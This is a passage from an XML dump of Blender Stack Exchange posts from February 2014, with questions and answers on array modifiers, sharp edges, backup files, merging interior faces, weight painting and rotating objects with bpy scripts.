empty (with &lt;em&gt;Object Offset&lt;/em&gt;), position it at the top left corner of the original object. Set the count to 2 and set the &lt;em&gt;Merge&lt;/em&gt; options as before:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dLJsm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Modifier settings&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y6KxA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Add two more array modifiers to create the grid along the &lt;em&gt;X&lt;/em&gt; and &lt;em&gt;Y&lt;/em&gt; axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/83eea.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Modifier settings&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dJlSn.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Result&lt;/em&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="20" LastActivityDate="2014-02-10T20:04:52.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6937" PostTypeId="2" ParentId="6924" CreationDate="2014-02-10T21:15:51.917" Score="3" Body="&lt;p&gt;In order to specify what the subsurf modifier should smooth and how much, you can use the &lt;a href=&quot;https://docs.blender.org/manual/en/dev/modeling/modifiers/generate/subsurf.html#weighted-edge-creases&quot; rel=&quot;nofollow noreferrer&quot;&gt;Mean crease&lt;/a&gt; setting. This will allow you to (basically) tell the subsurf that it can subdivide an edge, but leave it sharp (instead of smoothing it). There are other techniques for getting sharp edges in an organic model workflow, most of which are discussed &lt;a href=&quot;http://www.blendernation.com/2012/01/16/using-sharp-edges-in-blender/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;It discusses using more edge loops very close together, which is effective, but very inefficient.&lt;/li&gt;&#xA;&lt;li&gt;It discusses using weighted creases (which is what I recommended above)&lt;/li&gt;&#xA;&lt;li&gt;And it discusses the edge-split modifier &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;...all of which are effective tools for making sharp edges. Each has its benefits and draw-backs.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastEditorUserId="49149" LastEditDate="2017-12-02T13:23:20.747" LastActivityDate="2017-12-02T13:23:20.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6939" PostTypeId="2" ParentId="6934" CreationDate="2014-02-10T21:35:06.947" Score="10" Body="&lt;p&gt;There is an even easier/faster solution than the one @CharlesL provided &lt;em&gt;(Although some steps are identical)&lt;/em&gt; :&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create only 4/6 of the &amp;quot;cell&amp;quot; by using an Array-modifier and an Empty-object rotated by 60°:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/E9PYE.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Then add another Array and distribute objects on the &lt;em&gt;x&lt;/em&gt; direction by the Relative Offset:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Fwfnq.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;And last but not least, add another Array and distribute the result of the previous modifier on the &lt;em&gt;y&lt;/em&gt; direction by the Relative Offset &lt;code&gt;1&lt;/code&gt;:&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/x1rm8.png&quot; alt=&quot;enter image description here&quot; /&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&lt;p&gt;Of course the &lt;code&gt;merge&lt;/code&gt; option checked in all three of the Array-modifiers.&#xA;And the result is a &lt;em&gt;lighter&lt;/em&gt; and better version of the hexagonal array creation, plus, the result has more beautiful &amp;quot;edges&amp;quot;.&lt;/p&gt;&#xA;" OwnerUserId="1989" LastEditorUserId="-1" LastEditDate="2020-06-10T12:57:44.663" LastActivityDate="2014-02-10T21:56:34.123" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6940" PostTypeId="1" AcceptedAnswerId="7002" CreationDate="2014-02-10T21:38:14.973" Score="4" ViewCount="3717" Body="&lt;p&gt;Blender is by default config to save backup file from previous saves like .blender1, .blender2 and this is a good thing in case you mess up. What i want is to config blender to place this specific files in a subdirectory. Right now they show up in the list of blender files and make the list really long if you have a few scenes. Is it possible to config blender to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Illustration of the structure.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.blender_folder&#xA;..Backup&#xA;...file1.blender1&#xA;...file1.blender2&#xA;...file2.blender1&#xA;...file2.blender2&#xA;..file1.blender&#xA;..file2.blender&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2428" LastActivityDate="2017-09-28T17:04:28.543" Title="Config blender to save backup files in subfolder" Tags="&lt;customization&gt;&lt;blend-files&gt;" AnswerCount="3" CommentCount="2" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6941" PostTypeId="2" ParentId="6923" CreationDate="2014-02-10T21:42:27.387" Score="1" Body="&lt;p&gt;Without an image of some sort it's hard to guess, but this is a common enough problem that I think I know what you're facing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I understand you correctly, all you need to do is rotate the profile curve in edit mode, (instead of object mode) to align the axes of the profile with the axes of the other object.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Curves&quot; rel=&quot;nofollow&quot;&gt;The documentation&lt;/a&gt; is a little obtuse, but it might be helpful.&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2014-02-10T21:42:27.387" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6942" PostTypeId="1" CreationDate="2014-02-10T22:17:50.097" Score="4" ViewCount="1422" Body="&lt;p&gt;Here's what I need to do.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a footage of a street. I want to add several people walking. Each person was shot using chroma.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I understand how to remove the green using nodes. I understand how to composite each element using nodes. What I don't understand is how to I manipulate them in 3D space in order to move them where I want each element to be or animate them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could use the video as texture on a plane and move the plane around. But I want to know if I can process that video as texture using masks and keying. Or should I key every person, render them, then add them as texture to the planes and work like that? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="2429" LastEditorUserId="2217" LastEditDate="2014-05-07T14:02:54.167" LastActivityDate="2016-03-25T02:27:45.157" Title="Compositing video layers in 3D space" Tags="&lt;nodes&gt;&lt;video-sequence-editor&gt;&lt;video&gt;&lt;masking&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6944" PostTypeId="2" ParentId="6927" CreationDate="2014-02-10T22:37:55.243" Score="1" Body="&lt;p&gt;Whether an addon is enabled or not, is stored in the local &lt;code&gt;userpref.blend&lt;/code&gt; file. It is a user setting. It is not supposed to be carried around with individual .blend files (and may be seen as security issue if violated).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You find the preferences .blend in your user folder, on Windows &lt;code&gt;%appdata%\Blender Foundation\Blender\2.69\config\userpref.blend&lt;/code&gt; (replace 2.69 by your current version number). If you use a portable Blender, then it's located in &lt;code&gt;Blender\2.69\config\userpref.blend&lt;/code&gt; (with the Blender executable in &lt;code&gt;Blender\&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you wanna let a friend try your addon, send him the single .py file, or zip the python module and let him install it via &lt;em&gt;File &gt; User Preferences &gt; Addons &gt; Install from file...&lt;/em&gt; (he/she may enable it and save user settings to enable it by default).&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-10T22:37:55.243" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6945" PostTypeId="1" AcceptedAnswerId="6946" CreationDate="2014-02-10T23:17:44.667" Score="6" ViewCount="11230" Body="&lt;p&gt;I have a model like in the following image:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/e33jT.png&quot; alt=&quot;voxels&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a mesh for this object made of many individual cubic boxes. Every individual box has its own 6 faces, so where they touch with another box, there are 2 faces on the same place touching (and some of the cubes intersect each other, so their faces are inside each other). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want to simplify this model and&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Remove internal faces (those touching each other)&lt;/li&gt;&#xA;&lt;li&gt;After removing faces, also remove unnecessary vertices&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;What's the way to do this in Blender? (using version 2.66)&lt;/p&gt;&#xA;" OwnerUserId="2391" LastActivityDate="2015-06-03T02:06:28.393" Title="Merge touching faces on model" Tags="&lt;modeling&gt;&lt;vertices&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6946" PostTypeId="2" ParentId="6945" CreationDate="2014-02-10T23:29:29.280" Score="6" Body="&lt;p&gt;I suggest to&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Join the objects into one object / mesh (select all cubes in Object Mode, &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;J&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;Enter editmode, select all &lt;kbd&gt;A&lt;/kbd&gt; (if not already) and &lt;em&gt;Remove Doubles&lt;/em&gt; (in &lt;kbd&gt;W&lt;/kbd&gt; menu)&lt;/li&gt;&#xA;&lt;li&gt;Deselect all &lt;kbd&gt;A&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Select &gt; Interior Faces&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Delete &gt; Only Faces&lt;/em&gt; &lt;kbd&gt;X&lt;/kbd&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-02-10T23:29:29.280" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6947" PostTypeId="1" AcceptedAnswerId="6961" CreationDate="2014-02-10T23:29:42.343" Score="4" ViewCount="1652" Body="&lt;p&gt;So I have a simple bouncing ball animation, but I just wanted to something &quot;weird&quot; for the ending. Is there a way to change the ball's material on the fly, where after the last bounce it changes materials and physical composition from a rigid body(baked animation now) to a fluid sim?  (within 30-40 frames) &lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2014-04-19T03:57:08.290" Title="How To Make A Solid Object Drop To The Ground Like It Was Liquid" Tags="&lt;animation&gt;&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6948" PostTypeId="1" AcceptedAnswerId="6955" CreationDate="2014-02-11T00:48:07.773" Score="1" ViewCount="599" Body="&lt;p&gt;I made a model and skinned it to an armature. But when I try to deform it with a bone rotation, model doesn't just rotate, also it gets smaller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First I thought that its because of the armature, but when I put another model, this problem doesn't occur.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the .blend file: &lt;a href=&quot;http://pasteall.org/blend/26762&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://pasteall.org/blend/26762&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to rotate bone &quot;joint5&quot; in Z-axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Before rotation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgim.com/2755incix2686812.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;1 http://imgim.com/2755incix2686812.jpg&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;After rotation&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://imgim.com/8460incih5544599.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;2 http://imgim.com/8460incih5544599.jpg&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2431" LastEditorUserId="29" LastEditDate="2014-02-11T06:41:39.260" LastActivityDate="2014-02-11T07:01:34.360" Title="My skinned model gets smaller and deform badly, when I rotate its bone in Z-axis" Tags="&lt;armature&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6949" PostTypeId="1" AcceptedAnswerId="207299" CreationDate="2014-02-11T01:28:03.217" Score="17" ViewCount="40731" Body="&lt;p&gt;I have an object and two points I need to rotate the entire object around. I created two empties for the rotation points and I need to rotate it around an axis formed by the line between the two empties. I tried adding object constraints to no avail. In the image below I need to rotate the triangle around the axis of the red line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/nFAZS.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="743" LastEditorUserId="743" LastEditDate="2014-02-11T01:37:12.497" LastActivityDate="2021-01-06T08:13:29.643" Title="Rotate object on axis between two points" Tags="&lt;modeling&gt;&lt;transforms&gt;" AnswerCount="7" CommentCount="2" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6952" PostTypeId="2" ParentId="5281" CreationDate="2014-02-11T05:28:47.490" Score="22" Body="&lt;p&gt;I found one more setting to check that sets Blender to use CPU. I rendered using this script(gpurender.py):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;bpy.context.scene.cycles.device = 'GPU'&#xA;bpy.ops.render.render(True)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Command-line was:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;blender -b file.blend -E CYCLES -t 0 -o `pwd`/outpre -P gpurender.py&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you check in python, &lt;code&gt;bpy.context.scene.cycles.device&lt;/code&gt; will probably be &lt;strong&gt;CPU&lt;/strong&gt;. I've tested and this uses the GPU on my EC2 instance.&lt;/p&gt;&#xA;" OwnerUserId="2166" LastActivityDate="2014-02-11T05:28:47.490" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6953" PostTypeId="1" AcceptedAnswerId="6958" CreationDate="2014-02-11T06:00:38.053" Score="0" ViewCount="736" Body="&lt;p&gt;I'm trying to use the following code to get 2D points out of Blender.  Ultimately my goal is to generate HPGL for a pen plotter but for now I'll be happy with a printed list of coordinates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever the code calls world_to_camera_view I get the error &lt;code&gt;Matrix&lt;/code&gt; object has no attribute &lt;code&gt;z&lt;/code&gt;.  This appears to be a problem inside the world_to_camera_view function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm at a loss as to how to fix it and/or what data the function is actually expecting?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for the help!&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy  &#xA;from bpy_extras.object_utils import world_to_camera_view&#xA;&#xA;scene = bpy.context.scene&#xA;&#xA;# needed to rescale 2d coordinates&#xA;render = scene.render&#xA;res_x = render.resolution_x&#xA;res_y = render.resolution_y&#xA;cam = bpy.data.objects['Camera']&#xA;&#xA;current_obj = bpy.context.active_object&#xA;&#xA;scene = bpy.context.scene&#xA;camObject = bpy.data.objects [ 'Camera' ]&#xA;&#xA;print(&quot;=&quot;*40) # printing marker  &#xA;for face in current_obj.data.polygons:  &#xA;    verts_in_face = face.vertices[:]  &#xA;    print(&quot;face index&quot;, face.index)  &#xA;    print(&quot;normal&quot;, face.normal)  &#xA;&#xA;    coords_2d = [world_to_camera_view(scene, cam, coord) for coord in verts_in_face ]&#xA;&#xA;    # 2d data printout:&#xA;    rnd = lambda i: round(i)&#xA;&#xA;    print('x,y')&#xA;    for x, y, distance_to_lens in coords_2d:&#xA;        print(&quot;{},{}&quot;.format(rnd(res_x*x), rnd(res_y*y)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2436" LastActivityDate="2014-02-11T11:18:01.207" Title="'Matrix' object has no attribute 'z' in world_to_camera_view" Tags="&lt;python&gt;&lt;camera&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6954" PostTypeId="1" AcceptedAnswerId="15007" CreationDate="2014-02-11T06:47:00.037" Score="4" ViewCount="811" Body="&lt;p&gt;I am collaborating on a project with another individual who uses 3DS Max. When he marks edges as sharp, exports the mesh as a .obj file and gives it to me, I don't see any marked sharp edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Are there any file formats that preserve sharp edges between modeling programs that I can use in Blender?&lt;/p&gt;&#xA;" OwnerUserId="341" LastEditorUserId="599" LastEditDate="2014-02-12T20:43:22.913" LastActivityDate="2014-09-13T11:25:31.110" Title="What file formats preserve sharp edges?" Tags="&lt;mesh&gt;&lt;import&gt;&lt;file-format&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6955" PostTypeId="2" ParentId="6948" CreationDate="2014-02-11T07:01:34.360" Score="0" Body="&lt;p&gt;You haven't &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;weight painted&lt;/a&gt; your model&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From the Wiki&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Vertex_Groups/Weight_Paint&quot; rel=&quot;nofollow noreferrer&quot;&gt;Weight Paint in a nutshell&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Weight Painted Vertex Group&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;ul&gt;&#xA;  &lt;li&gt;&lt;p&gt;You enter Weight Paint mode from the Mode Menu &lt;kbd&gt;Ctrl&lt;/kbd&gt;-&lt;kbd&gt;Tab&lt;/kbd&gt;). The selected Mesh Object is displayed&#xA;  slightly shaded with a rainbow color spectrum.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;li&gt;&lt;p&gt;The color visualizes the weights associated to each vertex in the active Vertex Group. Blue means unweighted; Red means fully weighted.&lt;/p&gt;&lt;/li&gt;&#xA;  &lt;/ul&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/p2s2I.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="29" LastActivityDate="2014-02-11T07:01:34.360" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6956" PostTypeId="2" ParentId="6949" CreationDate="2014-02-11T07:08:42.610" Score="5" Body="&lt;h1&gt;Manual Way&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;First, select one of the empties and hit &lt;kbd&gt;SHIFT&lt;/kbd&gt;+&lt;kbd&gt;S&lt;/kbd&gt;&gt;&lt;code&gt;Cursor to Selected&lt;/code&gt;.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pCH76.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then &lt;kbd&gt;MMB&lt;/kbd&gt; to rotate the view until the two empties line up.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/2gtxj.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, hit &lt;kbd&gt;.&lt;/kbd&gt; (period) to set pivot point to the 3D cursor.  Finally, select the object and hit &lt;kbd&gt;R&lt;/kbd&gt; to rotate. &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Pythonic Way&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;This scripts uses the vector between the two empties and &lt;a href=&quot;https://blender.stackexchange.com/questions/6969/rotate-object-around-cursor-with-python/6970#6970&quot;&gt;rotation around the 3D Cursor&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from mathutils import Vector&#xA;&#xA;def main():&#xA;    C = bpy.context&#xA;    D = bpy.data&#xA;&#xA;    #rotation set to 90 degrees (rotation in radians)&#xA;    rotation = (6.283185/4)&#xA;    #Save objects by their presumed names&#xA;    empty0 = D.objects[&quot;Empty&quot;]&#xA;    empty1 = D.objects[&quot;Empty.001&quot;]&#xA;    object_to_rot = D.objects[&quot;Suzanne&quot;]&#xA;&#xA;    ####################################################&#xA;&#xA;    #set pivot point to be one of the empties by temporarily placing cursor there&#xA;    #use of Vector() here is to avoid copying reference to cursor location&#xA;    old_cursor_loc = Vector(CursorAccess.getCursor())&#xA;    CursorAccess.setCursor( empty0.location )&#xA;    CursorAccess.findSpace().pivot_point = 'CURSOR'&#xA;&#xA;    #make object the active object&#xA;    C.scene.objects.active = object_to_rot&#xA;&#xA;    #get axis we rotate around&#xA;    rotation_axis = empty1.location - empty0.location&#xA;&#xA;    #override the rotate operator&#xA;    override = get_override('VIEW_3D', 'WINDOW')&#xA;    bpy.ops.transform.rotate( override, value=rotation, axis=rotation_axis )&#xA;&#xA;    #restore old cursor position&#xA;    CursorAccess.setCursor( old_cursor_loc )&#xA;&#xA;&#xA;&#xA;def get_override(area_type, region_type):&#xA;    '''Returns a dictionary which can be used to override certain bpy operators'''&#xA;&#xA;    for area in bpy.context.screen.areas: &#xA;        if area.type == area_type:             &#xA;            for region in area.regions:                 &#xA;                if region.type == region_type:                    &#xA;                    override = {'area': area, 'region': region} &#xA;                    return override&#xA;    #error message if the area or region wasn't found&#xA;    raise RuntimeError(&quot;Wasn't able to find&quot;, region_type,&quot; in area &quot;, area_type,&#xA;                        &quot;\n Make sure it's open while executing script.&quot;)&#xA;&#xA;&#xA;&#xA;class CursorAccess:&#xA;    '''This code allows you to set and get the cursor location.  It came from the addon Cursor Control &#xA;    http://wiki.blender.org/index.php/Extensions:2.6/Py/Scripts/3D_interaction/Cursor_Control'''&#xA;&#xA;    @classmethod&#xA;    def findSpace(cls):&#xA;        area = None&#xA;        for area in bpy.data.window_managers[0].windows[0].screen.areas:&#xA;            if area.type == 'VIEW_3D':&#xA;                break&#xA;        if area.type != 'VIEW_3D':&#xA;            return None&#xA;        for space in area.spaces:&#xA;            if space.type == 'VIEW_3D':&#xA;                break&#xA;        if space.type != 'VIEW_3D':&#xA;            return None&#xA;        return space&#xA;&#xA;    @classmethod&#xA;    def setCursor(cls,coordinates):&#xA;        spc = cls.findSpace()&#xA;        spc.cursor_location = coordinates&#xA;&#xA;    @classmethod&#xA;    def getCursor(cls):&#xA;        spc = cls.findSpace()&#xA;        return spc.cursor_location&#xA;&#xA;&#xA;&#xA;if __name__=='__main__':&#xA;    main()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1112" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:46.597" LastActivityDate="2014-02-11T13:10:40.587" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6957" PostTypeId="1" CreationDate="2014-02-11T07:54:35.573" Score="0" ViewCount="193" Body="&lt;p&gt;I tried to do motion tracking in Blender 2.69, but whenever I place a tracker, the little window with the tracker preview is blank, and the tracker is lost immediately after I start tracking. I can only do it by hand, by placing the tracker on each frame.&#xA;I don't think this is caused by a weird video format or a rubbish footage because I tried with a video from a camera tracking tutorial and got the same problem. I also tried launching Blender from the terminal, but it didn't display any error.&lt;/p&gt;&#xA;" OwnerUserId="2438" LastActivityDate="2014-02-11T07:54:35.573" Title="Motion tracking : blank trackers in 2.69" Tags="&lt;tracking&gt;" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6958" PostTypeId="2" ParentId="6953" CreationDate="2014-02-11T08:29:34.467" Score="1" Body="&lt;p&gt;Seems like you are passing a vertex though you named it &lt;code&gt;coord&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;verts = current_obj.data.vertices&#xA;coords_2d = [world_to_camera_view(scene, cam, verts[index].co) for index in face.vertices ]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;face.vertices&lt;/code&gt; does not contain a collection of mesh vertices, but a list of vertex &lt;strong&gt;indices&lt;/strong&gt;. You need to retrieve the actual vertex and use its coordinate (&lt;code&gt;v.co&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="2271" LastEditorUserId="2271" LastEditDate="2014-02-11T11:18:01.207" LastActivityDate="2014-02-11T11:18:01.207" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6959" PostTypeId="2" ParentId="6949" CreationDate="2014-02-11T08:34:25.167" Score="13" Body="&lt;p&gt;We have several transform orientations available within the 3D view that determine which way an object moves along a given axis.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qbjkh.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When these options don't fit the task you can define a &lt;a href=&quot;https://docs.blender.org/manual/en/dev/editors/3dview/object/editing/transform/control/orientations.html#custom-orientations&quot; rel=&quot;nofollow noreferrer&quot;&gt;custom orientation&lt;/a&gt;. This option is available in the properties sidebar &lt;kbd&gt;N&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/3Rv8p.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To put it simply, if you add an object and rotate it 23.6 degrees on the z axis and then use it to define a custom orientation, you can then use that orientation to move, rotate or scale another object along the same x and y axis which will be at 23.6 degrees from the world x and y axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To use this when you have two empties in place -&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Select one empty and press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and select Cursor to Selected.&lt;/li&gt;&#xA;&lt;li&gt;Add a plane and scale to zero on the x axis (&lt;kbd&gt;S&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;0&lt;/kbd&gt;&lt;kbd&gt;Enter&lt;/kbd&gt;).&lt;/li&gt;&#xA;&lt;li&gt;Enable snapping to vertex &lt;img src=&quot;https://i.stack.imgur.com/7Ygkm.jpg&quot; alt=&quot;enter image description here&quot;&gt; in the 3D Header.&lt;/li&gt;&#xA;&lt;li&gt;Ensure the view is aligned to a preset (left, top, front...) that is looking straight at the two empties so that the only angle between the two is the angle you want to define. If you wish to define an orientation that alters more than one axis you can repeat the next step several times from three views to get the alignment right.&lt;/li&gt;&#xA;&lt;li&gt;Begin rotating the plane &lt;kbd&gt;R&lt;/kbd&gt; and move the cursor over the second empty. When a circle is shown around the centre of the empty showing that it is snapping to it, accept the rotation. The rotation of the plane will now match the angle between the two empties.&lt;/li&gt;&#xA;&lt;li&gt;Show the properties sidebar and find the Transform Orientations panel, create a new orientation by clicking the &lt;img src=&quot;https://i.stack.imgur.com/51xOx.jpg&quot; alt=&quot;enter image description here&quot;&gt;.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The plane can now be deleted and the new transform orientation can be used to move or rotate other objects along an axis running parallel to a line between the two empties.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When a custom orientation is selected the &lt;kbd&gt;X&lt;/kbd&gt;&lt;kbd&gt;X&lt;/kbd&gt;, &lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt; and &lt;kbd&gt;Z&lt;/kbd&gt;&lt;kbd&gt;Z&lt;/kbd&gt; shortcuts normally used to move on the local axis will use the custom axis instead of the local axis.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="935" LastEditDate="2017-09-18T12:41:05.130" LastActivityDate="2017-09-18T12:41:05.130" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
